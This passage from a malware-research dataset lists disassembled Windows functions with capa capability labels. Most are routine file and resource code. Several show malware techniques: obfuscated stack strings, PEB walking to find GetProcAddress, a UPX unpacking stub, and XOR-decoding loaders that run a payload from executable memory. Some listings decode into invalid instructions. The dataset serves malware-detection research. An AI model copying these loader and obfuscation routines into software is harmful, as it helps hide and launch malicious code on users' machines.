joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409b10
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 8], 0
push 0
push 0x80
push 1
push 0
mov eax, dword [ebp + 0x10]
push eax
push 0x40000000
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x409c06
mov dword [ebp - 0x18], 0x100000
mov dword [ebp - 0x10], 0
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.MSVCR90.dll_malloc]
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 8], 0
jne 0x409bed
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x409bed
cmp dword [ebp - 0x10], 0
jbe 0x409bed
mov dword [ebp - 0xc], 0
push 0
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x409bcc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x18]
push ecx
push 0
mov edx, dword [ebp - 0x14]
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
jmp 0x409b73
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
jmp 0x409c0f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x40af30
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov eax, dword [0x412018]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [ebp + 8], 0
jne 0x40af53
mov eax, 0xd
jmp 0x40affa
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40aff5
call fcn.00409c20
test eax, eax
je 0x40af76
xor eax, eax
jmp 0x40affa
mov dword [ebp - 0x258], 0
push 0x24c
push 0
lea ecx, [ebp - 0x254]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
lea edx, [ebp - 0x258]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40aff5
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 0xc], 0xffffffff
je 0x40afd2
mov edx, dword [ebp - 0x238]
cmp edx, dword [ebp + 0xc]
je 0x40afd2
mov eax, 0x5b6
jmp 0x40affa
mov eax, dword [ebp + 0x10]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040a4b0
add esp, 0xc
test eax, eax
je 0x40afee
xor eax, eax
jmp 0x40affa
mov eax, 0x3ee
jmp 0x40affa
mov eax, 2
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004076b8
mov esp, ebp
pop ebp
ret
Function at 0x40b880
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c953
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x412018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040aa30
add esp, 0x10
lea ecx, [ebp - 0x42c]
call fcn.004096b0
mov dword [ebp - 4], 0
mov byte [ebp - 0x42d], 0
lea ecx, [ebp - 0x42d]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00409730
xor ecx, ecx
mov word [ebp - 0x21c], cx
push 0x206
push 0
lea edx, [ebp - 0x21a]
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [ebp - 0x21c]
push eax
push 0
push 0
push 0x2b
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jge 0x40b942
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x42c]
call fcn.00409430
jmp 0x40b991
push str.AdobeARM1.0Temp
push 0x104
lea ecx, [ebp - 0x21c]
push ecx
call fcn.004063f0
test eax, eax
jge 0x40b970
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x42c]
call fcn.00409430
jmp 0x40b991
lea edx, [ebp - 0x21c]
push edx
call fcn.0040ac20
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x42c]
call fcn.00409430
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004076b8
mov esp, ebp
pop ebp
ret
Function at 0x10001000
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov word [ebp - 4], 0x4b4e
mov ax, word [ebp - 4]
sar ax, 0xa
mov word [ebp - 4], ax
mov cx, word [ebp - 4]
sub cx, 0xe792
mov word [ebp - 4], cx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
mov ax, word [ebp - 4]
sub ax, 0xd519
mov word [ebp - 4], ax
movsx eax, word [ebp - 4]
cdq
mov ecx, 0xfeef
idiv ecx
mov word [ebp - 4], ax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000106a
xor eax, eax
jmp 0x100010c0
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x100010a1
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dx, word [ebp - 4]
sub dx, 0x2501
mov word [ebp - 4], dx
xor eax, eax
jmp 0x100010c0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movsx eax, word [ebp - 4]
cdq
mov ecx, 0x6bf8
idiv ecx
mov word [ebp - 4], ax
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x10003072
Capabilities:
Contain obfuscated stackstrings
Inspect section memory permissions

Disassembly:
push eax
push esi
push dword [ebp + 8]
call fcn.10002d83
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x100030ac
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66

Function at 0x100030d7
Capabilities:
Inspect section memory permissions

Disassembly:
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.10002dbe
mov ecx, eax
imul ebp, dword [edx], 0x50c0458d
call fcn.10002dce
push eax
push esi
push dword [ebp + 8]
call fcn.10002d83
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.10002dbe
rcr dword [edi + 0x35], 0x5d
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
Function at 0x1000314a
Capabilities:
Contain obfuscated stackstrings
Inspect section memory permissions

Disassembly:
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.10002dce
push eax
push esi
push dword [ebp + 8]
call fcn.10002d83
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.10002dce
push eax
push esi
push dword [ebp + 8]
call fcn.10002d83
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.10002dce
push eax
push esi
push dword [ebp + 8]
call fcn.10002d83
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.10002dbe
pop ss
mov ch, byte [edx + 6]
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.10002dbe
pop es
sub bl, byte [ecx + eax*4]
lea eax, [ebp - 0x84]
push eax
call fcn.10002dce
push eax
push esi
push dword [ebp + 8]
invalid
invalid
cli

Function at 0x10003abb
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax - 0x6b75b], al
inc dword [eax]
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
invalid
Function at 0x10003bf9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
dec dword [ebp - 0x6bf7b]
call dword [eax - 1]
jne 0x10003c0c
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10002f9a
add esp, 0x14
call fcn.10002dbe
jae 0x10003c4e
invalid
pop ebp
mov ch, 0xff
mov ch, 0x68
stc
invalid
movsd dword es:[edi], dword [esi]
mov esp, 0xfffffa
push 0
call dword [ebp - 0x340]
mov dword [ebp + 8], eax
push 0x104
lea eax, [ebp - 0x334]
push eax
push 0
call dword [ebp - 0x538]
call fcn.10002dbe
cmp ax, sp
pop ds
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x22f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.10002d9c
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
invalid
invalid
xchg esp, eax
cld
invalid

Function at 0x10004895
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x755], 0x96
mov byte [ebp - 0x754], 0xa7
mov byte [ebp - 0x753], 0x88
mov byte [ebp - 0x752], 0x82
mov byte [ebp - 0x751], 0x96
mov byte [ebp - 0x750], 0x88
mov byte [ebp - 0x74f], 0x89
mov byte [ebp - 0x74e], 0x8d
mov byte [ebp - 0x74d], 0xd5
mov byte [ebp - 0x74c], 0x9f
mov byte [ebp - 0x74b], 0x97
mov byte [ebp - 0x74a], 0x97
mov byte [ebp - 0x749], 0xfb
lea eax, [ebp - 0x77c]
push eax
call fcn.10002dce
pop ecx
mov al, byte [ebp - 0x12c]
mov byte [ebp - 0x778], al
push 0x30
lea eax, [ebp - 0x77c]
push eax
call fcn.10002dce
pop ecx
push eax
lea eax, [ebp - 0x504]
push eax
call fcn.10002d2f
add esp, 0xc
lea eax, [ebp - 0x504]
mov dword [ebp - 0x3a0], eax
jmp 0x10004d36
Function at 0x10004f6d
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
cmp byte [eax + 0x1c], 0x18
je 0x10004f82
xchg esi, eax
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
push eax
call fcn.10002dbe
xor al, 0x31
add eax, 0x8bf88b70
inc edi
cmp al, 0x8b
push esp
pop es
js 0x10004f9c
xlatb
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
sbb byte [ebx - 0x20fcdfa6], cl
call fcn.10002dbe
fist dword [edi - 0x74b6f4e2]
xor al, 0x8b
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x10004fab
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x10004fab
call fcn.10002dbe
ja 0x10005001
inc eax
sbb cl, byte [ebx - 0x20fcdba6]
mov cx, word [ebx + ecx*2]
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.10002dbe
pop ss
ja 0x10005020
pop edi
push dword [ebp + 8]
push dword [ebp + 4]
push dword [ebp]
call fcn.100035be
movsd dword es:[edi], dword [esi]
or dword [esi], 0xffffffff
mov eax, esi
sub eax, dword [ebp]
push 0x24
pop ecx
cdq
idiv ecx
mov edi, eax
add edi, dword [esp + 0x14]
cmp edi, 0xffffffff
jne 0x1000507f
mov ebx, dword [esp + 0x10]
add dword [esp + 0x14], 0x20
add ebp, 4
inc ebx
cmp ebp, 0x1000c3a0
mov dword [esp + 0x10], ebx
std
mov al, byte [0x891000c3]
pop esp
and al, 0x10
jl 0x10004f8d
jmp 0x1000507f
push 0x12
call fcn.10002a26
pop ecx
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
Function at 0x484420
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x4e000]
mov dword [edi + 0x70d18], 0x2eeb9eeb
push edi
jmp 0x48444a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x484451
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x484440
mov eax, 1
add ebx, ebx
jne 0x484463
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x484474
jne 0x484493
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x484493
dec eax
add ebx, ebx
jne 0x484480
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x484458
add ebx, ebx
jne 0x48448f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4844e5
xor ecx, ecx
sub eax, 3
jb 0x4844ab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x48451a
sar eax, 1
mov ebp, eax
jmp 0x4844b6
add ebx, ebx
jne 0x4844b6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x484484
inc ecx
add ebx, ebx
jne 0x4844c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x484484
add ebx, ebx
jne 0x4844d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4844c6
jne 0x4844e2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4844c6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x484504
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4844f6
jmp 0x484446
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x484504
add edi, ecx
jmp 0x484446
pop esi
mov edi, esi
mov ecx, 0x321f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x484522
cmp byte [edi], 0x16
jne 0x484522
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x484527
lea edi, [esi + 0x81000]
mov eax, dword [edi]
or eax, eax
je 0x48459f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x88620]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8873c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x484554
mov ecx, edi
jns 0x484583
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x88744]
or eax, eax
je 0x484599
mov dword [ebx], eax
add ebx, 4
jmp 0x484571
call dword [esi + 0x88740]
mov ebp, dword [esi + 0x88748]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4845d3
sub esp, 0xffffff80
jmp 0x4349ef
Function at 0x3ad7258d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3ad7a064]
jne 0x3ad72597
repz ret
jmp fcn.3ad73d0c

Function at 0x3ad771d5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x3ad771e4
pop dword [ebp - 0x18]
mov eax, 0x3ad771e4
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3c280
push 0
mov eax, 0xe3a9d4db
add eax, 0x572d3bd9
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0xd8288ffc
sub ecx, 0xd828364a
mov ebx, eax
mov edx, 0xc9bb7cc3
add edx, 0x711cc13d
add edx, dword [ebp - 0x18]
mov edi, 0xd076fb56
add dword [ebp - 0xc], 0x95b10233
mov esi, dword [edx]
xor dword [ebp - 4], edi
sub esi, edi
mov dword [ebp - 0x14], 0x841812ad
mov dword [ebx], esi
xor dword [ebp - 0x14], 0xf1cd89e8
add ebx, 0x41f0b4cb
add ebx, 0xbe0f4b39
add edx, 4
loop 0x3ad77238
add eax, 0x3e00aa21
sub eax, 0x3dff5086
mov ebx, eax
add eax, 5
mov ecx, 0xe4539f8b
add ecx, 0x56836075
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x1001202f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1001203e
pop dword [ebp - 0x34]
mov eax, 0x114b1b1e
add eax, 0xfeb60520
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x3b320
push 0
mov eax, 0x69c82011
add eax, 0xa63a70fb
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x42e6033e
add ecx, 0xbd1a471d
xor esi, esi
add esi, eax
mov edi, 0x10046c00
add edi, dword [ebp - 0x34]
mov ebx, 0x1815f13
add ebx, 0x7b40c4ab
mov edx, dword [edi]
mov dword [ebp - 0x24], 0x2db0d863
sub edx, ebx
xor dword [ebp - 0x14], esi
mov dword [esi], edx
add dword [ebp - 0x28], 0xfe4d63ef
add esi, 0x846b31d9
add esi, 0x7b94ce2b
add edi, 0x3c6ec672
sub edi, 0x3c6ec66e
loop 0x10012099
add eax, 0x552f04cc
add eax, 0xaad21773
mov ebx, eax
add eax, 0x563d19d0
sub eax, 0x563d19cb
mov ecx, 0xf0995f2
add ecx, 0xf66a0e
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x4077a1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x4077b0
pop dword [ebp - 0x50]
mov eax, 0x67d4c5c7
add eax, 0x986bb1e9
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x2cc9094d
sub dword [ebp - 0x60], 0xde76c402
mov dword [ebp - 0x5c], 0xe3ad631c
add dword [ebp - 0x5c], 0x4e85e929
mov dword [ebp - 0x58], 0xc662038f
sub dword [ebp - 0x58], 0x7a15bf61
mov dword [ebp - 0x54], 0x25f7f8a2
sub dword [ebp - 0x54], 0x25f7f8a2
lea eax, [ebp - 0x60]
push eax
mov eax, 0xcfba17cf
sub eax, 0xcf799713
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x3f0dd29c
sub dword [ebp - 0x60], 0xca9b6946
mov dword [ebp - 0x5c], 0x35409894
add dword [ebp - 0x5c], 0xc2bc8e1
mov dword [ebp - 0x58], 0xedef9ee3
sub dword [ebp - 0x58], 0x8a803277
mov dword [ebp - 0x54], 0x9f9ee1df
sub dword [ebp - 0x54], 0x9f9ee1df
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xfd73c77e
sub eax, 0xfd33476e
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x36904
push 0
call eax
mov ecx, 0x791fd17
sub ecx, 0x791b6d1
mov edi, eax
mov esi, 0x4b074afc
sub esi, 0x4ac65efc
add esi, dword [ebp - 0x50]
mov ebx, 0x9fbb2997
add ebx, 0x59a0dffb
add dword [ebp - 0x2c], 0x77e68725
mov edx, dword [esi]
mov dword [ebp - 0x2c], 0x6d3fb5f9
add edx, ebx
xor dword [ebp - 0x18], eax
mov dword [edi], edx
sub dword [ebp - 0x2c], 0x198a441
add edi, 4
add esi, 0x24938436
add esi, 0xdb6c7bce
loop 0x4078d2
add eax, 0xe5b0f8a8
sub eax, 0xe5afecbd
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x4012c1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push 0x407832
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.KERNEL32.DLL_FindResourceA
mov dword [ebp - 4], eax
push eax
push dword [ebp + 8]
call sub.KERNEL32.DLL_LoadResource
push eax
call sub.KERNEL32.DLL_LockResource
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push dword [ebp + 8]
call sub.KERNEL32.DLL_SizeofResource
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40130d
push dword [ebp - 8]
push dword [ebp - 0xc]
call fcn.00402eac
jmp 0x401319
push 2
call sub.KERNEL32.DLL_SetLastError
mov eax, 0
leave
ret 8

Function at 0x4013c3
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0xfe
push 0x2002
call sub.KERNEL32.DLL_GlobalAlloc
mov dword [ebp - 4], eax
push eax
call sub.KERNEL32.DLL_GlobalLock
cmp eax, 0
je 0x40141c
mov ebx, 0x407051
lea esi, [ebx]
mov edi, eax
mov ecx, 0x118
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 8]
call sub.user32.dll_OpenClipboard
cmp eax, 1
jne 0x401413
mov eax, dword [ebp - 4]
push eax
push 1
call sub.user32.dll_SetClipboardData
call sub.user32.dll_CloseClipboard
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_GlobalFree
leave
ret 4
Function at 0x402157
Capabilities:
Create thread

Disassembly:
push 0x401da9
push 0
push 0
push 0x401f93
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x401dad], eax
push 2
push eax
call sub.KERNEL32.DLL_SetThreadPriority
ret

Function at 0x402218
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [0x4079a0]
call sub.KERNEL32.DLL_FindResourceA
push eax
push eax
push dword [0x4079a0]
call sub.KERNEL32.DLL_SizeofResource
mov dword [ebp - 8], eax
pop eax
push eax
push dword [0x4079a0]
call sub.KERNEL32.DLL_LoadResource
push eax
call sub.KERNEL32.DLL_LockResource
push eax
push 0
push 0x20
push 2
push 0
push 3
push 0x40000000
push dword [ebp + 0x10]
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
je 0x4022a1
mov dword [ebp - 4], eax
push 0
push 0
push 0
push dword [ebp - 4]
call sub.KERNEL32.DLL_SetFilePointer
pop edi
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push edi
push dword [ebp - 4]
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
mov al, 1
leave
ret 0xc
xor al, al
leave
ret 0xc